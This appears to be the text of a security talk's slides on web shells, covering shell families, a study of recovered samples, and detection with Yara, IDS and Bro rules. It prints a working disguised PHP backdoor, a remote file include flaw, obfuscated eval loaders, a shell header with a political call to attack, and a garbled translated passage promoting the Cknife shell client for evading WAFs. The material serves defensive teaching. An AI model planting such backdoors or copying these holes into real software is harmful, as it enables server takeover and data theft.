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Background 
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Content Page Title

“A web shell is a script that can be uploaded to a web server to enable remote 
administration of the machine. Infected web servers can be either Internet-
facing or internal to the network, where the web shell is used to pivot further 
to internal hosts.

A web shell can be written in any language that the target web server 
supports. The most commonly observed web shells are written in languages 
that are widely supported, such as PHP and ASP. Perl, Ruby, Python, and Unix 
shell scripts are also used.” – US-CERT
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Shell

“A Unix shell is a command-line interpreter or shell that provides a traditional 
Unix-like command line user interface. Users direct the operation of the 
computer by entering commands as text for a command line interpreter to 
execute, or by creating text scripts of one or more such commands. Users 
typically interact with a Unix shell using a terminal emulator, however, direct 
operation via serial hardware connections, or networking session, are 
common for server systems.” - Wikipedia
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Deceptive backdoor

2014 年 4 月 24 日 / 标签: 一句话极具迷惑性的一句话/ 作者：小a

文件名称为:backdoor.php 连接方式:http://xxx.com/?list=assert($_POST[x]); 密码:x

01 <?php

02 /*

03 *

04 *文章列表生成文件
05 */

06 if(isset($_GET['list'])){

07    mud();

08 }

09 function mud(){

10 $fp=fopen('content_batch_stye.html','w');

11 file_put_contents('content_batch_stye.html',"<?php\r\n");

12 file_put_contents('content_batch_stye.html',$_GET['list'],FILE_APPEND);

13 fclose($fp);

14 require 'content_batch_stye.html';}

15 ?>
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“Top 103 Shells for Hacking” – Hacker Pilu
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A Real Problem

…of the samples I have recovered between ~20%-25% were 
detected by anti-virus/anti-malware solutions.

If in a single given system one may find 1 or 2 articles of 
malware (non-web shell malware), the least amount of web 
shells I have found on a system has been 11, with the most 
being almost 30 on a single system in a single environment.

- Bill Powell (Payment Software Company)
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<?php
#  .. SyRiAn Sh3ll V8 .... PRIV8! ... DONT LEAK! .... f0r t3am memberz 0nly!
#  ,--^----------,--------,-----,-------^--,
#  | |||||||||   `--------'     |          O    .. SyRiAn Sh3ll V8 ....  
#  `+---------------------------^----------|
#    `\_,-------, __EH << SyRiAn | 34G13__|
#      / XXXXXX /`|     /
#     / XXXXXX /  `\ /
#    / XXXXXX /\______(
#   / XXXXXX /!
#  / XXXXXX /!     rep0rt bugz t0: sy34[at]msn[dot]com 
# (________(!
#  `-------'
#.... PRIV8! ... DONT LEAK! .... f0r t3am memberz 0nly!
#.... PRIV8! ... DONT LEAK! .... f0r t3am memberz 0nly!
#

# Coders :
# SyRiAn_34G13 :  sy34@msn.com [ Main Coder ] .
# SyRiAn_SnIpEr : zq9@hotmail.it [ Metasploit RC ] .
# Darkness Caesar : doom.caesar@gmail.com [ Finding 3 Bugs ] . 

# SyRiAn Sh3ll V8 .
# Copyright (C) 2012 - SyRiAn 34G13
# This program is free software; you can redistribute it 
and/or modify
# it under the terms of the GNU General Public License 
as published by
# the Free Software Foundation; either version 2 of the 
License, or (at your option) any later version.
# This program is distributed in the hope that it will be 
useful,
# but WITHOUT ANY WARRANTY; without even the 
implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR 
PURPOSE.
# I WISH THAT YOU WILL USE IT AGAINST ISRAEL ONLY !!! 
.



10

Open Web Application Security Project

• Cross-Site Scripting
• SQL Injection
• CMS application vulnerabilities
• User input checks/sanitation failures
• Remote File Include (RFI) & Local File Include (LFI) 

• Administrator interface discover and brute forcing
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RFI

$incfile = $_REQUEST["file"];
include($incfile.".php");
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PHP 7 OPCache Binary Webshell

https://blog.gosecure.ca/2016/04/27/binary-webshell-through-opcache-in-php-7/
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Dorking – Always with Us
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Malicious Web Server Multi-Tasking

 DDoS

 Persistence

 Drive-by

 Data Theft

 Proxy
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Trends 
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Reference Counts
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Open Sourcing – Shell for the Masses

• B374K

• Gamma

• DxShell

• C99

• WSO

• China Chopper
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b374k
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hxxp://nilsonlombardi.com.br/ing/fotos/shell.php
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Gamma
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C99
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C99

- thehackerblog.com
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WSO (Web Shell by Orb)
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China Chopper
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China Chopper
2013 - FireEye - China Chopper blog series- https://www.fireeye.com/blog/threat-
research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html

caidao.exe (web shell client) - MD5: 5001ef50c7e869253a7c152a638eab8a

75 related samples

Customize.aspx (payload) - MD5: 8aa603ee2454da64f4c70f24cc0b5e08
Customize.cfm (payload) - MD5: ad8288227240477a95fb023551773c84
Customize.jsp (payload) - MD5: acba8115d027529763ea5c7ed6621499

https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html
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NLP Alerting
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0 × 01 Introduction
Beginning asked me to write something about Cknife I 
was rejected, but too invincible really lonely. This tool is 
not intended to replace the mentally Chinese kitchen 
knife, it is a symbol of an era, is irreplaceable. Do not want 
to take the highest authority is not a good green hat 
green hat, me too, but I'm not a green hat, I want to make 
it physically replace Chinese kitchen knife tool. Choppers 
in to our convenience at the same time, problems in the 
use of so many years of accumulated a lot, I extract the 
core functionality and added some of his own experience 
in this industry, that is cross-platform file-based 
configuration Chinese kitchen knife, all operation given to 
the user to define. 

0 × 02 selection
Many languages ​​can be cross-platform, asked why choose 
to use Java to develop this tool? Java is well known in the 
graphical programming interface across platforms have a 
long history, it can be perfectly qualified for the project.

0 × 03 open
Since many choppers back door was broke relations after 
everyone privacy issues, so I chose to open in the case of 
the consent MelodyZX small partners agreed to accept 
the majority of the recommendations of friends and 
supervision.

0 × 05 volumes
The updated version incorporates the skin, in fact, the 
main program only 100 KB, in order to achieve perfect 
cross-platform and supports Chinese path boot loader 
package skin and database-driven package, the size 
becomes more than 4M, after we have any good open 
source reduce the size of the method can tell me.

https://github.com/Chora10/Cknife

0 × 07 follow-up
Follow-up will increase the core function of a plug that is, 
the user can customize write encryption, can also 
customize what you want to write a function such as a 
Web browser, but I will not go in itself irrelevant to add 
some features. Also the next version will add custom 
request headers and agents.
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Improving Detection Bypass

0 × 05 slag slag slag slag Code
JSP download password: 1. f65g JSP (updated)
ASPX Download password:. F65g CUS ASP X

0 × 06 Conclusion
This article explains how to give you the easiest way to use existing sentence plus 
cknife custom parameters to create your own script about a dog.
God taught me a hello world, but I use it to around WAF ~.
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Analysis
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~260 Un-obfuscated PHP files

99 Obfuscated PHP files

~10 ASP, ASPX, JSP, Perl files

Locating Webshells
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Code Commonality
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No Easy Wins

el@jefe:~$ for i in *.php; do diff -D %= zaco.php $i;done
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import os
import collections
import operator
from pprint import pprint

# open all files in directory
filenames = os.listdir(“~/webshells/PHP-master/")
files = [open(name).readlines() for name in filenames]

# for loop magic
sets = [set(line.strip() for line in file)

for file in files]

# count line commonality
combined_counter = reduce(operator.add, [collections.Counter(s) for s in sets])

# print the 50 most common lines
pprint(combined_counter.most_common(50))
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41.  ('else{', 75),
42.  ('<td>', 70),
43.  ('echo "', 69),
44.  ('</center>', 66),
45.  ('<style type="text/css">', 66),
46.  ('</form>";', 65),
47.  ('else {$size = $size . " B";}', 64),
48.  ('}else{', 63),
49.  ('echo "</tr>";', 62),
50.  ('@set_magic_quotes_runtime(0);', 62)]

21.  ('<br>', 124),
22.  ('</script>', 117),
23.  ('exit;', 117),
24.  ('/*', 116),
25.  ('fclose($fp);', 111),
26.  ('else {', 108),
27.  ('</body>', 99),
28.  ('@set_time_limit(0);', 94),
29.  ('</html>', 88),
30.  ('error_reporting(0);', 86),
31.  ('$i++;', 86),
32.  ('return $size;', 85),
33.  ('ob_start();', 84),
34.  ('<!--', 83),
35.  ('echo "</table>";', 81),
36.  ('";', 80),
37.  ('<style>', 80),
38.  ('</div>', 79),
39.  ('<center>', 77),
40.  ('echo "</form>";', 76),

1. [('', 322),
2. ('}', 317),
3. ('?>', 284),
4. ('<?php', 224),
5. ('{', 205),
6. ('</table>', 203),
7. ('else', 189),
8. ('</form>', 188),
9. ('<head>', 179),
10. ('</tr>', 175),
11. ('<tr>', 168),
12. ('</head>', 163),
13. ('} else {', 159),
14. ('<html>', 154),
15. ('</td>', 148),
16. ('</style>', 142),
17. ('<?', 141),
18. (');', 132),
19. ('*/', 127),
20. ('break;', 126),

De-obfuscated
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el@jefe:~$ grep -lrni "@set_magic_quotes“ | wc –l
46

18.5%

set_magic_quotes_runtime — ”Sets the current active configuration setting of magic_quotes_runtime
Warning: This function was DEPRECATED in PHP 5.3.0, and REMOVED as of PHP 7.0.0.”

Magic Quotes Occurrences
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[('<?php', 77),
('?>', 34),
('*/', 28),
('/*', 23),
('Obfuscation provided by FOPO - Free Online PHP Obfuscator:    
http://www.fopo.com.ar/', 21),

('* other free or open source software licenses.', 3),
('* @package\t\tJoomla', 2),
('* This is the PHP OpenID library by JanRain, Inc.', 2),
('* @author JanRain, Inc. <openid@janrain.com>', 2),
('* @copyright 2005-2008 Janrain, Inc.', 2)]

Obfuscated Files
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Detection
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Single Server



71

• HTTP traffic anomalies (usual suspects)

o UA or Referrer oddities

• File integrity monitoring

• Difficult to scale

o Noisy network signal

o Scale of enterprise web hosts and change complexity

Host + Network in Enterprise
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• 304 Yara signatures including 

• “Webshell”

• Capturing specificity and anomalies 

• Singular rule implausible

Yara
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/********************************************/
eval(gzinflate(str_rot13(base64_decode('rUl4QutTEP1cpPsflnokO7rghEmVEG

Encoding/Transposition
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Signatures

alert tcp $HOME_NET $HTTP_PORTS -> $HOME_NET any 
(msg:"Suspicious-PHP"; file_data; content:"eval(gzinflate(str_rot13(base64_decode"; sid:1000000)
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<?php

$g___g_='base'.(32*2).'_de'.'code';$g___g_=$g___g_(str_replace("\n", '', 'P7I83z9r5UnC

$b374k=@create_function('$x','ev'.'al'.'(gz'.'inf'.'late'.'(bas'.'e64'.'_de'.'co'.'de($x)));');@$b374k

$s_func="cr"."eat"."e_fun"."cti"."on";$b374k=@$s_func('$x,$y','ev'.'al'.'("\$s_pass=\"$y\";?

?>php

Encoding/Transposition
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Choke Point: Authentication
el@jefe:~/webshells/PHP-master$ grep -lrni "user" | wc -l
263
el@jefe:~/webshells/PHP-master$ grep -lrni "auth" | wc -l
148
el@jefe:~/webshells/PHP-master$ grep -lrni "auth_pass" | wc -l
13
el@jefe:~/webshells/PHP-master$ grep -lrni "$login" | wc -l
359
el@jefe:~/webshells/PHP-master$ grep -lrni "$pass" | wc -l
359
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b374k
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“I can’t stop saying Bro…Bro”
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Failed Authentication

# (C) 2015 Critical Stack LLC.  All rights reserved.
##! HTTP basic-auth brute-forcing detector

##! detect bruteforcers; triggering when too  many rejected usernames
##! have occured from a single address.

event http_reply(c: connection, version: string, code: count, reason: string)
{
if (c$http?$status_code && c$http$status_code == 401 && c$http?$username)  # && c$http?$password

{
SumStats::observe("http-basic-auth.failed_auth", [$host=c$id$orig_h], [$str=cat(c$id$resp_h)]);
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1. Successful HTTP Authentication – Dump Usernames

Basic Auth, Form Auth, Digest Auth

GET /dir/index.html HTTP/1.0 
Host: localhost 
Authorization: Digest username=”admin", 

realm="admin@test.com", 
nonce="deefgeghf36594373131", 
uri="/dir/test.html", 
qop=auth, nc=00000001, cnonce="0e4f323c",  
response="48845fae49393f05355450972504c4abc", 
opaque="48593ehff23336773t" 

http_header(c: connection, is_orig: bool, name: string, value: string) 
{ 

if (/AUTHORIZATION/ in name && /Digest/ in value) 
{ 

// filter response values and Server response 

module HTTP;
export {
redef enum Notice::Type += {
## Generated if a Command injection takes place using URL
URI_Injection
}
event http_header(c: connection, is_orig: bool, name: string, value: string)
{
if (/AUTHORIZATION/ in name && /Basic/ in value)
{
local parts: string_array;

parts = split1(decode_base64(sub_bytes(value, 7, |value|)), /:/);

NOTICE([$note=HTTP::Basic_Auth_Server,
$msg=fmt("username: %s password: %s", parts[1],
HTTP::default_capture_password == F ? "Blocked" : parts[2]),
$conn=c
]);

https://www.sans.org/reading-room/whitepapers/detection/web-application-attack-analysis-bro-ids-34042
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2. Dump AD Usernames

https://gallery.technet.microsoft.com/scriptcenter/powershell-script-to-5edcdaea
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3. Compare & Alert on Unrecognized Users (and/or admin)

grep /bro/http.log “username” >> usernames.txt

diff usernames.txt csvreportfile >> suspects.txt
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Detection Efficacy Never Perfect

// shell password, fill with password in md5 format to protect shell, default : b374k 
$s_pass = "7be6e37567f18b0b4faaad89babe0726"; 

$language='eng'; // 'pl' or 'eng'
$auth = 0;
$name='abcdef1234567890abcdef1234567890'; 
$pass='abcdef1234567890abcdef1234567890';
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No Silver Bullets

…only the Hustle & Grind



Thank You!


